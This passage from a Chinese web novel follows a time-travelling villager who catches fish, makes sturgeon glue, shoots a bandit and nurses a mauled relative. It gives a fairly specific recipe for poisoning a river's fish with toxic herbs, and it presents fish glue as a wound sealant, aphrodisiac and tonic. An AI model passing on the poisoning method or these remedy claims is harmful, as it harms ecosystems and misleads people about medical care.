“这……妹夫啊,你这是干啥呢?咱这儿大老爷们,跑来挖野菜算怎么回事?”
“咱们不是要去打猎吗?”
林大强拿着锄头,丈二和尚摸不着头脑。
薛猛咧嘴笑道:“大舅哥,你就别问那么多了!赶快帮我多挖些这种草,待会儿我抓了大鱼,你就知道了!”
“啥?”
林大强听得傻了眼。
挖这些草,跟抓鱼有啥关系?
“咱不打猎,改抓鱼了?行,你让俺干,俺就干!”
林大强也不再啰嗦,挥起锄头就开挖!
林大强使起锄头来,可比薛猛这个生手麻利得多。
没过多久,就挖了满满一篮子的草。
紧跟着薛猛带着林大强去了好几个土坡,挖了好几种不同的野草。
“闹羊花、千里香、母丁香……齐了!”
薛猛清点了一下篮子的草:“大舅哥,够了,咱先不用挖了!”
“你去村长家,再把骡车借来,准备到河边来装鱼吧!”
“啊?这就行了?”
林大强放下锄头,看着篮子里的杂草。
干这么点活,搁以前在李庄做长工,连热身都算不上。
身上连汗都没出呢。
他抓破头皮都想不通,薛猛要怎么用这些杂草抓鱼。
林大强走后,薛猛提着一篮子杂草,回到家。
用火将这些草烘干,然后放入石臼捣成粉末,将药粉和剩饭搅拌均匀,加上几个臭鸭蛋,搓成大小适中的饭团。
没有臭鸭蛋,可以用蚯蚓或者臭了的肉代替。
“喵~”
饭团刚刚做好,腥气扑鼻,村里的猫咪闻着味就过来了。
“这东西你可不能吃。”薛猛嘿嘿一笑:“待会儿给你吃鱼。”
不多时,薛猛提着半篮子饭团,来到了沧浪河边。
今天河边没什么人捞鱼,只有几个小孩子在玩水。
因为浅滩的鱼虾都已经被捞得差不多了,再捞也是徒劳无功。
没有闲杂人等,倒也清净。
薛猛先在河边观察了一下,挑了一个弯道,周围长满水草,看上去水很深的位置。
抓起两个饭团,随手抛了进去。
咚!
饭团刚落水没一会儿,长满水草深不见底的水面下立即有了动静。
从扑腾起来的水花看,底下绝对有大鱼!
而且还不少!
为了争抢饭团,鱼群在水里使劲儿扑腾,弄得水花飞溅。
薛猛心中一喜,再次抛出饭团。
这次扑腾的鱼越来越多!
薛猛再接再厉,循循善诱,继续抛出饭团。
随着丢饭团的位置越来越近,原本隐藏在深处的鱼群,逐渐被引诱到了浅滩。
而饭团里的药粉,也开始发挥了作用。
当那些鱼游到河边浅滩时,再也没有力气扑腾了,纷纷翻转肚皮,浮出水面……
远远望去,河滩上全是鱼肚白,场面极其壮观!
河边玩水的几个小孩儿全看傻了。
他们长这么大,从没见过这么多肥鱼。
“发大鱼了!河里发大鱼了!”
村子里传来小孩儿激动地叫唤声。
在屋里和丈夫张老黑做蛙跳的宋大芬闻声,连忙冲出门外,逮住一个小孩儿问道:“什么大鱼?”
小孩儿回道:“薛家哥哥站在河边,叫大鱼上岸,大鱼就真的上岸了!”
“什么?!”
跟出来的张老黑,听到这话,原本无精打采的两条眯缝眼,瞬间瞪得老大。
“你说薛家小子抓到了大鱼?怎么可能!河里的鱼不都被捞干净了吗!难不成他敢去深处抓鱼?”
小孩儿绘声绘色地说道:“不是抓哦!是大鱼自己飘上来的,就像睡着了一样,整个河滩上全都是!”
河滩上全都是?!
哪得多少鱼啊?
第24章 鲟鱼胶成了!
“还愣着做什么,赶快抄家伙,去河边捡鱼去!”
宋大芬一脚踹在愣神的张老黑屁股上,转身就去拿木桶。
张老黑目光扫向墙角斜靠着的禾桶,顿时灵机一动……
不多时,宋大芬两口子,提着大桶小桶,使出吃奶劲儿朝河边冲了过来。
“快去看呐,薛猛叫大鱼上岸了!”
村里不少村民,全都跑到河边看稀奇。
就连村里打了一辈子鱼的老渔民老张头和儿子张水,也是拄着根木棒,一瘸一拐跟在后面,想来看看薛猛到底是怎么让大鱼自己上岸的。
刚到河边,老张头远远就看见薛猛负手立于河岸青石上,时不时往河里丢些什么东西。
河滩上,全是翻着鱼肚白的大鱼。
什么青鱼、鳙鱼,应有尽有。
并且,还有鱼群源源不断朝着薛猛身前涌来。
就好像薛猛一招手,那些鱼就主动游上了岸,翻了肚皮,等着人捡。
呼鱼自来?
真是神了!
老张头和张水父子打了一辈子鱼,从来没见过这么邪门儿的事情,惊得下巴都快掉地上。
这薛家小子,莫不是会法术?
林大强抱着一条十斤重的大青鱼,高兴得合不拢嘴。
“妹夫,这鱼真大,俺这辈子没见过这么肥的鱼!”
“哈哈,发财了!这下俺们真发财了!”
林大强手舞足蹈地抓起大鱼,往骡车上扔,整个人兴奋都快发疯了。
曾经可望而不可及的大肥鱼,现在跟死鱼一样躺在地上随便捡。
换谁都得乐疯!
看着河滩上一大片的鱼,薛猛也是没想到,会是这样的效果。
是自己的药太猛?
还是这个世界的鱼太单纯?
目光扫去,十斤的野生青鱼,在这里都算是个头小的了。
甚至还看到好几条前世已经濒临灭绝的江鲟。
“这可是好东西!”
薛猛眼前一亮,连忙从竹篮外侧抽出镰刀。
哗啦!
对准江鲟腹部,划开一道口子,扣出鱼鳔。
“好家伙,这么大!”
一个鱼鳔,足有巴掌大。
真应了那句老话,十斤鱼一两胶!
江鲟最小的都有二十斤,最大的则接近四十斤。
鱼越大,鱼鳔也就越大,熬出的鱼胶就越多。
收割了鱼鳔后,薛猛挥出第二刀,划开江鲟脊背,抽出里面一根透明的筋。
这东西叫做鲟龙筋,是鲟鱼身上除了鱼胶以外,最值钱的东西,和燕窝海参一样,属于高级滋补品。
见薛猛只收割鱼鳔和鱼筋,却不捡鱼,林大强瞪眼问道:“妹夫,你这是干啥?这鱼就这么杀了,不要了?”
薛猛摆手道:“不要了,我只要鱼鳔和鱼筋,鱼你能捡多少就捡多少吧!”
“捡不完的,让全村人都来捡!”
有了鲟鱼胶,谁还要这些破鱼啊?
鲟鱼胶不光可以用来充当黏合剂,制作复合弓,还可以炮制成药材。
放在前世,上好的鲟鱼金花胶,每公斤可以卖到十二万。
而鱼肉每公斤也就几百块!
在这个世界,鱼肉价格就更低廉了,远远比不上山里的野物。
因为鱼肉没啥油水,且获取起来比山里的野物相对容易。
芝麻和西瓜,薛猛还是分得清的。
而且现在天气这么热,又没有冷库冰柜,鱼一旦剖了腹,很快就会发臭,他要那么多也没用。
与其浪费,倒不如让大伙儿都来捡,还能做个顺水人情。
不大会儿功夫,薛猛就收割了满满一竹篮的鱼鳔和鱼筋。
挑了条最大的鲟鱼和一些适合猫吃的小白鱼,用草绳穿过鱼鳃,扛在肩上,头也不回地往家里走。
就这条四十斤的江鲟,就够一家子吃好一阵子了!
“大舅哥,我先回去熬鱼胶了,活鱼你捡了拉去白虎乡肉庄卖掉吧,死鱼捡不完就算了!”
目送薛猛的背影逐渐消失在远处,林大强傻了眼。
别人打了一辈子鱼,都难见到的大鱼,薛猛说不要就不要了?
这么豪横的吗?
真不愧是卧虎村头号败家子!
“不行,这鱼我全得捡回去,这可全是肉哇!”
林大强埋头捡着鱼,忽然,眼前的光现暗了下来,一道铁塔般的高大身影,突然挡在了他面前。
抬起头,便看见一双他这辈子都无法忘记的凶狠兽瞳。
“嗬!嗷呜!!”
血盆大口张开,发出一声震耳欲聋的低沉咆哮。
……
薛猛刚到家门口,村里狸花猫就在他脚边喵喵叫个不停,撒娇打滚蹭裤腿。
显然是闻见鱼腥味了。
“小馋猫,这是特地给你留的!”
薛猛取下那些拇指大的小白鱼,丢给了狸花猫,猫儿吃得那叫一个香,连鱼刺都嚼烂吞了。
“哇,二姐快出来看呀,姐夫抓到好大一条肥鱼!!”
林小鱼听见猫叫,跟了出来,一眼就看见薛猛肩上扛着的江鲟。
那条江鲟,比她人都大,简直像头小猪!
林小鱼从来没见过这么大的鱼,当场就惊叫起来。
林雅娴和赵氏母女,原本在屋里裁剪布匹缝制衣服。
听见动静,纷纷迎了出来。
“长根儿,你回来了?”
“天呐,这是什么?是鱼吗?”
“怎么会有这么大的鱼!”
林雅娴是个旱鸭子,对鱼没什么了解,震惊得合不拢嘴。
“长根儿,你是怎么抓到这么大的鱼的!”
薛猛咧嘴笑道:“我说它自己送上门来的,你们信吗?”
林小鱼和林雅娴齐齐摇头。
“你看,说了你们又不信,何必多问。”
“雅娴,你先把这鱼拿去剁了吧,吃不完的可以用盐腌制起来,然后用烟熏制成烟熏鱼,这样可以保存很久。”
“小鱼,你把这几根鲟龙筋,拿到风大的地方晾着,风干了收起来!”
说完,薛猛将鲟鱼和鱼筋卸了下来,分别交给了老婆和小姨子。
自己则提着一篮子鱼鳔,一头扎进了灶房。
鱼筋和鲟鱼只是意外之喜。
炮制鱼胶,才是头等大事!
薛猛先用竹片,将新鲜鱼鳔上附着的血络和油脂反复刮洗干净,然后打来一桶井水,将鱼鳔泡在里面。
直到把血水全部泡出来,腥味几不可闻,再用刀将鱼鳔切割成小块,分装在两个陶罐内。
品相好一些的鱼鳔,加入黄酒、姜汁、朱砂,用桑柴火文火慢熬三个时辰,炮制成药用鲟鱼胶。
品相稍差的鱼鳔,则加入松脂、明矾,大火煮沸,再慢熬两个时辰,用来炮制工用黏合剂。
主打一个物尽其用,绝不浪费。
熬制鱼胶,需要极大的耐心。
要不断撇去表面浮出的浮沫,静待鱼鳔块彻底融化,熬得像胶水一样浓稠,这个过程十分漫长枯燥。
除了吃午饭,薛猛就没离开过灶房,生怕熬过头。
“长根儿,你这是在做什么?”
见薛猛围着两个陶罐,忙活了一下午,在一旁做烟熏鱼的林雅娴,忍不住好奇问道。
薛猛没有回答,而是用筷子沾了一滴鱼胶,滴入水中,鱼胶瞬间凝结成珠,经久不散。
“滴水成珠……”
“太好了!鲟鱼胶成了!”
“雅娴,快拿块细麻布给我!”
薛猛对林雅娴说道。
林雅娴虽然不解,但还是进卧屋剪了一块布,交给薛猛。
“雅娴,你帮我扶着!”
“扶稳,我要开始了!”
“哦哦!来吧!”
熬好的鱼胶,需要用麻布反复过滤,滤出其中的杂质。
过滤的次数越多,得到的鱼胶品质越高。
在林雅娴的帮助下,薛猛反复将鱼胶过滤了三四遍,然后倒入提前准备好的木盒中。
等鱼胶冷却凝固后,既可取出切块,储存在陶罐中。
等到要用的时候,取出一块,加热化开,即可使用。
鱼胶冷却凝固,还需要一段时间。
趁着这个空隙,薛猛顺手将竹胎复合弓的各种配件进行了黏合。
弓做好的同时,木盒里的鱼胶也彻底凝固了。
不知不觉已是暮色四合,月华似水,照亮了薛家小院。
薛猛切出一片药用鱼胶块,对着窗外月光照了照,月光下,鱼胶晶莹剔透,隐约可见一圈圈淡金色的菊花纹。
这就是传说中在黑市里卖出天价的金花胶!
用老百京的话说,那就是盖了帽了!
这玩意儿,要是放在前世,够吃五年国家饭了!
也只有在这古代社会,可以这么明目张胆的使用鲟鱼胶。
为了防止下次用的时候搞错,薛猛将剩下的鱼胶块用两个陶罐分装后,在罐身上绑上不同颜色的碎布巾,以便区分。
“娘子,你记住,绑蓝布条罐子里的鱼胶不能吃,只能用来黏补东西。”
“绑红布条罐子里的鱼胶能吃,炖肉,煮粥,做甜点,都可以用。”
“吃?有鱼肉不吃,吃这东西干什么。”
林雅娴压根没瞧上这东西。
在她眼里,这不就是没人要的鱼下水吗?
相公也真是奇怪,放着河边那么多鱼肉不去捡,偏偏只要这些平时根本没人要的东西。
就为这事儿,她今天下午生了一肚子的闷气。
她都听村里人说了,今天薛猛可不止捕到一条鲟鱼,而是一大堆鱼!
但他居然没要,反而让全村人都去捡!
见自家娘子眉宇间隐有幽怨之色,薛猛笑了笑。
搂住林雅娴的小腰,悉心解释道:“娘子,这东西可比鱼肉有营养多了!”
“我就这么跟你说吧,这鲟鱼胶,男人吃了翘,女人吃了俏!”
“尤其是来完月事后,熬上一碗,保管把你流出来的血全补回去。”
薛猛这番话,听得林雅娴面红耳赤。
第25章 月下响马
“长根儿,你真是不害臊!”
“连人家那种事情,也说得出口!”
在大虞,女人来月事,被视为邪恶、污秽之事,绝不可以对人提起。
哪怕是夫妻之间,也不能拿这种事情开玩笑,否则就会倒霉。
薛猛作为一个现代人,对这种封建思想,自然是嗤之以鼻。
来月事,不过是一种生理现象罢了,跟霉运有屁的关系。
此时此刻,月色朦胧,娇妻含羞。
赵氏和林小鱼母女俩,已在偏房睡下。
灶房里,只有林雅娴和薛猛夫妻二人。
看着自家娘子娇羞的小模样,薛猛顿时兴致勃勃。
搂住林雅娴小腰的手掌,顺势向下滑去。
娇妻顿时花容失色。
“呃啊……相公,别!”
“奴家来红了!”
“靠,不会这么巧吧!”
“那行吧,今晚暂时放过你,天不早了,睡觉去吧!”
薛猛搂住林雅娴脖子,在她诱人的樱唇上,亲了一口。
拍拍屁股,打发林雅娴回房睡觉。
“相公,你不睡吗?”
“你别管我,睡你的去吧!”
“相公,我不是不给你,我真的来红了,你别生气。”
“娘子,我没生气,去睡吧,我还有点事儿。”
目送林雅娴扭着小腰离开灶房,薛猛舔了舔嘴皮,只觉心里憋着一股火无处发泄。
不生气才怪。
今晚他本来打算玩点新花样的。
毕竟林雅娴身上还有很多地方他没体验过。
但没想到林雅娴恰好今天来月事了。
罢了!
来日方长,也不急在这一时……
好东西就是要慢慢品尝,才能咂摸出滋味。
“这几天可把我累坏了,我得好好补一下!”
薛猛给自己把了下脉,典型的肾阴虚,难怪火气才这么大!
越是阴虚火旺,欲望越强。
又不是写皇书,哪能成天干那事儿,还是得克制一下。
正好吃点鱼胶,补精益髓,平衡一下阴阳。
薛猛用鲟鱼胶和大米,熬了一锅鱼胶粥,吃了一碗。
剩下的连着锅吊进井水里镇着,明天还能接着吃。
吃完鱼胶,薛猛感觉腹下那股暖流再次涌现了出来。
而且这次,那股暖流比先前还要壮大。
薛猛眼中精芒内敛,明明是在夜里,灶房里的所有陈设,却是全都纤毫毕现。
捏了捏拳头,自觉气力也增长了不少。
薛猛一时兴起,拿起贴了四层牛筋的竹胎复合弓和雁翎箭,爬上自家屋顶。
拉力高达九十斤的竹胎复合弓,猛一发力,轻轻松松拉了个满月弓。
这要是放在几天前,薛猛肯定无法做到这么轻松。
立于房顶,俯瞰而去,整个卧虎村的布局全都清晰映入眼中。
难不成,吃了鱼胶后,自己竟然真的可以夜视了?
薛猛心中暗爽,迫不及待想要证明自己的实力有没有增强。
目光扫去,在黑夜中搜寻目标,最终瞄准了村口一棵老杨树。
从卧虎村村口,到薛家足有一百五十步距离,寻常单体木弓,射程最多也只有八十步。
这么远的距离,说实话,薛猛心里也没啥底。
深吸一口气,眼中寒芒凝聚,随即撒手放箭。
“嗡……!”
不同于先前拉力只有五十斤的桑木弓…
竹胎复合弓的弓弦因为强大储能,在发射时产生高速震动,发出了令人闻之头皮发麻的嗡鸣。
这声音,方圆百米外都能听得见!
真应了《武备志》里那句话,强弓发矢,声如裂帛!
不愧是九十斤的复合强弓!
就是比单体弓牛波一!
“咻——”
雁翎箭离弦瞬间,迸发出一声刺耳的尖啸。
雁翎箭,出箭如线,百步中钱!
这句话也就是说,雁翎抗风能力强,能够切割开空气,让箭簇能够以笔直如线的弹道,精准射中百步外铜钱大小的目标。
薛猛能够明显感觉到,这一箭的箭速,根本就不是之前的鸭毛箭能够比拟的。
“砰!”
“哗啦啦……!”
果不其然,一阵短促的冲击声之后,村口的老杨树仿佛被野牛撞了一般,树冠摇曳,树叶哗啦啦散落一地。
不用看也知道,这一箭射中了!
百步穿杨已经不算什么了。
一百五十步,轻松拿下!
薛猛激动地亲了一口手里的复合弓。
“太带派了老铁!”
强弓这东西,就像雨姐的黑丝一样,没有任何男人能够拒绝。
毕竟,都能给男人加攻速。
射完之后,薛猛心满意足,火气也泄出去不少。
就在他想要从房顶上下去睡觉时,目光却不经意瞥见,几道黑影从老杨树后面四散逃开……
“那是什么人?这大晚上的不睡觉,猫在老杨树下干什么?”
薛猛先是一愣,随即看见那几道黑影,竟然骑着马朝乡道方向扬尘而去。
脑子里嗡的一响,蹦出个可怕的念头。
“莫不是……响马?”
……
“麻了个巴子!”
“宋大龙不是说卧虎村没有任何防御设施吗?为什么会有弓手驻扎!”
“老四,你没事儿吧?”
“大哥,我怕是不行了……你一定要替兄弟报仇啊。”
夜色下,五匹快马齐头并进。
其中一匹马上,一个麻脸汉子面色痛苦,双手捧着插在胸口的箭杆,两眼圆瞪从马背上翻滚在地。
嘴角挤出血沫,当场就断了气。
“老四!!!”
其余四匹马上骑士见状,纷纷翻身下马,朝麻脸汉子围了上来。
见麻脸汉子死不瞑目,其余四人抱头痛哭。
哭罢,为首一名光头,满脸暴戾,从马背刀鞘拔出砍刀:“兄弟们,跟我杀回去,屠了那个鸟村子,为老四报仇!”
“好!”
光头话音刚落,立即便有两人响应。
而这时,几人中唯一一个穿长袍的白脸瘦子,用力拔出麻脸汉胸口箭簇。
两眼一眯,抬手喝止道。
“大哥且慢!”
“方才我观那射箭之人,只怕远在百步之外,能够在黑灯瞎火的情况下,一箭射中老四,除却箭术高超之外,必然还配有强弓……”
“再看这箭羽,乃是边军精锐惯用的雁翎箭!”
“此人只怕来头不小,绝非等闲弓手!”
“我怀疑,咱们都被宋大龙骗了!说不准,宋大龙已经投靠了官兵,故意在此设下圈套,等我们去钻呢!”
“若是咱们像没头苍蝇一样贸然冲进村子,非但没办法替老四报仇,只怕全部弟兄都要折在这山沟里!”
光头身侧一个胖子接口道:“二哥这么一说,我倒想起来了,之前宋大龙借了咱们黑风岭巡哨营几个兄弟,到现在一个都没回山。”
“我看八成是这姓宋的背叛了我们,和官府勾结,把咱们那几个弟兄给害了!”
光头闻言,一拍脑门,咬牙切齿道:“麻了个巴子!这个宋大龙,真是吃了熊心豹子胆,居然敢算计起我来了!亏老子还当他是兄弟!”
“下次再遇上,老子必要将这厮碎尸万段!”
白脸瘦子适时道:“大哥,好汉不吃眼前亏,事到如今,咱们只能先回黑风岭向黑风大王禀明此事!”
“等拉起兵马,再来为老四报仇不迟!”
光头面露不甘,眼中杀意凌冽,深深看了眼笼罩在夜色中的卧虎村:“迟早有一天,老子要把这个鸟村子夷为平地!”
“撤!”
几人带上麻脸汉的尸体,裹挟冲天怨气,纵马飞驰,消失在夜色之中。
薛猛后脚追到村口老杨树下,只见地上留下一滩血迹。
月色下,血泊中泛起明晃晃的反光。
薛猛弯下腰,将那反光之物捡了起来,定睛一看,竟是一块铜腰牌。
上面写着“黑风岭巡哨骠骑头领”。
第26章 林大强遇险
又是黑风岭?!
看老杨树上残留的痕迹,自己刚才那一箭,是一箭把这位“头领”钉在了树干上?
难怪老杨树像被牛撞了一样,晃得那么厉害。
都配上铜腰牌了,说明黑风岭这伙响马,不是半路出家的棒子手,而是有一定规模的“大绺子”。
棒子手,白天是民,晚上为匪,三五个人一伙,干些拦路抢劫,偷鸡摸狗的勾当,干完几票就散了,成不了什么气候。
而大绺子就不一样了,那是正儿八经的匪帮,通常由好几股响马联合组成,公推一个大头领管理。
有的绺子,匪众成千上万,最差的也有上百人。
若是这伙人倾巢而出,后果不堪设想。
上次自己宰了宋大龙和八个黑风岭巡哨响马,现在又射死他们一个巡哨头领!
这仇可就结深了!
只是不知这黑风岭,离卧虎村有多远!
念及此,薛猛心情顿时凝重了几分。
等明天徐伯回来了,问问他知不知道黑风岭这伙响马的底细!
薛猛将铜腰牌收了起来,正准备回家。
没走几步,身后忽然传来踉踉跄跄的脚步声。
“谁?”
薛猛剑眉倒竖,握紧拳头,拉开防御架势。
但看清来人,却是松了口气:“大舅哥?你怎么现在才回来?抓鱼抓到这么晚吗?”
薛猛这话刚出口,林大强身子一软,直接倒在了他怀里。
“???”
“不是大舅哥,你干啥呢?”
“男男授受不亲!就算这是蜀郡,也不行!”
薛猛本想推开林大强,但手掌刚一碰到对方肩膀,就摸到一股黏糊糊热烘烘的东西。
缩回手一看,只见自己手指上沾满了血。
再上下打量了林大强一番,这才惊觉,林大强身上全是伤口,像是被什么猛兽撕咬过,已然奄奄一息。
“我擦,流这么多血!”
薛猛心头猛跳,连忙撕下身上的布条,手法娴熟扎紧林大强腋下近心端大动脉,做了紧急止血。
“妹夫,小、小心…”
林大强张了张嘴,话说到一半,嘴里涌出一股淤血,险些喷了薛猛一脸。
“你先别说话了,省点力气,我带你回家疗伤,坚持住,千万别闭眼!”
薛猛连忙背起林大强,朝家里赶。
“砰砰砰!”
“快开门!”
林雅娴睡得正香。
突然被猛烈敲门声惊醒。
连忙穿好衣服,起身赶去打开了院门。
开门的瞬间,一股刺鼻血腥气扑面而来。
薛猛背着一个遍体鳞伤的血人,冲进院子。
林雅娴当场吓傻了,小脸煞白,愣在原地不知所措。
“雅娴,快生火熬鱼胶,用绑着红色布巾那个罐子里的,千万别搞错了!”
听到薛猛的话,林雅娴方才回过神来,神情恍惚摸着墙进了灶房。
薛猛卸下一块门板,让林大强平躺在上面。
翻开眼皮,只见林大强的瞳孔逐渐涣散,生命体征越来越微弱。
当即使劲掐按人中和鼻尖素髎,刺激阳气复苏,同时嘴里不停对林大强说话,吸引他的注意力。
林大强失血过多,意识越来越弱,若是让他睡过去,就再也醒不过来了。
“鱼胶好了没!”
薛猛冲灶房催促道。
“来了来了!”
不大会儿功夫,林雅娴端着一碗熬化的鱼胶,快步走来。
薛猛接过鱼胶,吹温后,用手一沾,轻轻涂敷在林大强身上的伤口上。
一碗鱼胶全部用完,林大强身上那些狰狞的伤口,尽数黏合,血总算止住了。
林雅娴暗自惊诧。
没想到,这鲟鱼胶居然还有这般神奇妙用!
难怪相公为了炮制这东西,连鱼肉都顾不上了!
不仅能黏合器物,还能外敷止血,还可以当滋补品吃,这可真是个好东西!
“长根儿,我哥他这是怎么了?”林雅娴抹了抹眼泪,满脸担心,她这才发现这个血人是自己大哥。
林大强的伤势很快就稳住了,薛猛松了口气,打发林雅娴回去睡觉:“我也不知道,你先去睡吧,等明天大舅哥醒过来,就知道怎么回事了。”
薛猛靠在椅子上,回想起林大强昏迷前跟他说的那半句话。
林大强到底想说啥?
他让我小心什么?
白天的时候,林大强还好端端的在河边捡鱼。
怎么一下午不见,就成这副模样了?
是谁把他伤成这样的?
薛猛低眉沉思,心中诸多疑问犹如云雾笼罩,却是百思不得其解。
不知不觉,便靠在椅子上睡了过去。
“贤婿,起了吗?你的狼牙箭打好了!”
天刚亮,院门外传来叫门声。
徐守业从城里回来了!
……
“徐伯,事情就是这样,依我看,我们还是要早做打算,提防黑风岭响马来报复!”
薛家里屋内,听薛猛讲完昨晚射中响马之事,徐守业从对方手里接过铜腰牌。
拇指摩挲着腰牌上的刻字,一向笑呵呵的脸上,面色出奇凝重。
“这黑风岭,老夫倒是有所耳闻。”
“匪首唤作黑风岭大王,报号‘银面虎’,善使一对虎爪钩,胯下一匹海龙驹,在蜀郡绿林颇具威望。”
“这厮本是青狼军中一名马军都尉,十年前,虎牢关一役,三万青狼军被北莽骑兵杀得丢盔弃甲。”
“此人带着手下三百名逃兵,辗转逃至蜀郡黑风岭,落草为寇。”
“仗着一身马战本领,扫平了蜀郡境内七八个山头,收服匪众近千人。”
徐守业看着手里的铜腰牌,若有所思:“黑风岭远在蜀郡,应该不会特地跑到咱们卧虎村来踩盘子。”
“只怕是绿林中将有什么大事要发生,这些响马应该是赶去别的山头传讯,恰巧路过咱们村,想打些盘缠。”
“如此看来,贤婿你昨晚这一箭,射得好!”
薛猛不解:“怎讲?”
徐守业解释道:“若不是你这一箭,镇住了那几个响马,只怕昨晚卧虎村便难逃一场凶残劫掠,不知有多少乡亲会因此丧命。”
薛猛担忧道:“若是这伙贼人举兵来报复,后果只怕不堪设想。”
徐守业捋了捋胡须,眯眼道:“且宽心吧,从黑风岭到咱们卧虎村,往返一次少说也有三天路程!”
“银面虎不可能为了几个小小的巡哨,兴师动众。”
“不过,为了保险起见,老夫会派一个精细的人,去蜀郡那边探探消息!”
“若黑风岭那伙匪众,真有异动,我们也可以提前获知,早做准备。”
不愧是白虎军老兵。
面对近千匪患威胁,仍旧气定神闲。
“对了,还有一件事,很重要。”
徐守业满脸严肃,忽然开口道。
第27章 这妾得纳
“何事?”
薛猛提起精神,洗耳恭听。
“你和你家雅娴,商量好了吗?到底愿不愿娶瑾儿过门?”
啊?
是这事儿啊!
薛猛心中无奈苦笑。
徐守业察觉了薛猛神色异样:“你该不会还没跟雅娴说吧?”
“老夫大女儿二女儿三儿女都嫁了,现在就只剩下瑾儿这个宝贝女儿还未出阁。”
“长根儿,老夫可是很好看你呀!”
“你尽快做决定吧!”
“行啦,咱们先去勘察勘察附近地形,若是响马真来劫掠,我们也好有所准备!”
徐守业收起了平日嘻嘻哈哈的样子,带着薛猛到卧虎村周边,勘察卧虎村附近地形。
若是响马果真大举来犯,建造一些基础防御设施,还是很有必要的。
“响马若从西方来犯,必然要过桥。”
“可以在河边,修建瞭望塔。”
“……”
不知不觉间,二人便来到了沧浪河畔。
“瑾儿,你刚才那首诗写得真好,不愧是先生的女儿,真乃才女也!”
“茅公子谬赞,论诗才,瑾儿哪里比得上你。”
正商量着如何抵御响马,忽然听见不远处传来一阵男女嬉笑声。
薛猛扭头看去,顿时眉头轻皱。
河边草甸,桃树荫下,铺上一方玉簟,上面摆满锡壶美酒,各色点心、瓜果。
一群公子哥,围坐玉簟旁,饮酒作乐。
人人绢衣素袍,手拿折扇,浑身散发着一股书卷气。
与对岸粗麻布衣面黄肌瘦,弯腰挖野菜的穷苦农妇,构成了鲜明对比。
其中最惹眼的,当属一个青衣男子,颌下留着长须,身形修长,手拿折扇,颇有几分文人雅士的风度,正和徐瑾儿谈论诗词。
其他公子跟这青衣男子一比,瞬间黯然失色,薛猛脑海里顿时浮现出相关记忆。
茅仪,洪雅县第一才子!
曾在蜀郡乡试中名列榜首,名副其实的解元郎!
前身也曾读过几年书,虽然连个秀才都没考上,但这茅仪的鼎鼎大名,他却是有所耳闻。
据说洪雅县下一任知县,很可能就该他接任了!
但这些洪雅县里养尊处优的公子哥,怎么会出现在卧虎村这种穷乡僻壤?
而且,还和徐瑾儿很熟的样子!
“茅仪,瑾儿……你们在这儿谈些什么呢,笑得这么开心?”
徐守业背着手,朝着一群公子笑呵呵走了过去。
薛猛愣了愣,啥情况,徐伯跟他们认识?!
“薛大哥,你也来了?”
看见薛猛,瑾儿连忙撇下茅仪,像只蝴蝶一样扑进了薛猛怀中。
“薛大哥,你出汗了?我给你擦擦汗吧!”
徐瑾儿拿出贴身手帕,掂起脚尖,替薛猛轻轻擦去脸上的汗水。
手帕上,氤氲着处子的幽香。
嗨呀,这小丫头还挺会疼人儿?
薛猛虎躯一震,愣在了原地。
无论是前世,还是今生,除了林雅娴,还从来没有人对他这么体贴过。
对这个小丫头,他是越看越顺眼了。
被薛猛痴痴看着,徐瑾儿娇躯一颤,小脸羞红垂下了头。
“薛大哥,你这么看着人家干啥?再看,人家的脸都被你看穿了。”
“是吗?那我帮你揉揉。”
少女的脸蛋,白嫩细润,仿若一件艺术品。
薛猛捧在手心,忍不住把玩起来。
摸着徐瑾儿滑嫩的肌肤,薛猛坚守一夫一妻制的现代思想,瞬间荡然无存。
纳妾好哇,这小妾得纳呀!
回去就跟雅娴好好嗦嗦,问她介不介意多个妹妹!
看着薛猛和徐瑾儿亲昵一幕,茅仪捏着酒盏,心里很不是滋味。
“先生,我正打算请你过来饮酒作诗呢,正巧你就来了!”
“快快,给先生让座!”
茅仪和一群公子哥慌忙起身,将徐守业迎至桃树下。
随后茅仪看向薛猛:“这位,想必就是先生为瑾儿妹子物色的如意郎君吧,果然一表人才,也请一同来饮酒作诗如何?”
“饮酒作诗?”
听闻此言,薛猛愣了愣,心中五味杂陈。
如今大虞战事频发,灾祸四起,举国上下,民不聊生。
这帮公子哥倒好……
居然还有闲心饮酒作诗?
百无一用是书生,这句话也并不是完全没道理。
“饮酒?妙哉!至于作诗嘛……”
徐守业看见酒,老眸陡然一亮,大咧咧在玉簟前的蒲团上坐下。
端起酒杯,轻抿一口,眯着眼砸吧嘴细细品味一番,方才又道:“何逊而今渐老,都忘却春风词笔。”
“老夫已经过了花前月下,多愁善感的年纪,做不出什么诗了!”
“……”
“先生谦虚了。”
“就凭先生刚才随口吟出的那句,已是不凡。”
茅仪笑道。
薛猛心中担忧响马来犯,实在不想浪费时间,在这里看这些富家公子,做这些无聊把戏。
他算是看出来了,这些公子哥,应该就是徐守业当年在县城书馆教书的那帮学生,是跟着徐守业过来玩的。
薛猛实在没兴趣融入这些公子哥的圈子。
“徐伯,瑾儿,我还有事就先走了,你们慢慢玩吧!”
“薛公子留步!我听瑾儿说,你也曾读过几年书,应该也考取过功名吧?”
薛猛找了个借口准备开溜,却被茅仪起身叫住。
薛猛闻言一怔。
前身的确读过几年书,但是连个秀才都没考上!
徐守业放下酒杯,开口替薛猛打圆场:“茅仪,长根儿无心仕途,不屑应举,未曾考取功名。”
“谁也没规定,读书人就必须参加科举,不是吗?”
“先生,如此说来薛公子必然胸怀伟略,出口成章。学生就更要向薛公子讨教了!”
“薛公子,在下方才即兴做得一首小诗,还请斧正!”
茅仪上前一步,展开手中折扇,随口吟道:“绿树阴浓夏日长,楼台倒影入池塘。水晶帘动微风起,满架蔷薇一院香。”
“好!”
“好诗!!”
话音刚落,场中顿时掌声雷动,响起一片叫好声。
茅仪脸上春风得意,享受着众人的仰慕。
以往,他是徐守业最器重的学生。
可现在,徐守业却对薛猛青眼有加,还要把徐瑾儿许配给薛猛,这让他心中很是不爽!
就是想试试,薛猛到底有几斤几两,配不配得上先生的青睐!
听了茅仪这首诗,薛猛不由皱眉。
啥玩意儿就好了?
这首诗到底好在哪儿啊?
不就是一首中规中矩,描写夏日景色的七言绝句吗?
若是放在富家公子的庭院园林里,这首诗倒也算应景。
但在这沧浪河畔,穷山恶水的,哪有什么水晶帘动?楼台倒影?
薛猛其实对古诗词没啥研究,但作为一个现代人,唐诗宋词那是必背课目。
如果茅仪刚才那首诗,都能算是好诗…
那什么李白杜甫王维白居易,随便拿一首出来,还不得把这些没见过世面的家伙惊掉下巴?
“献丑献丑!”
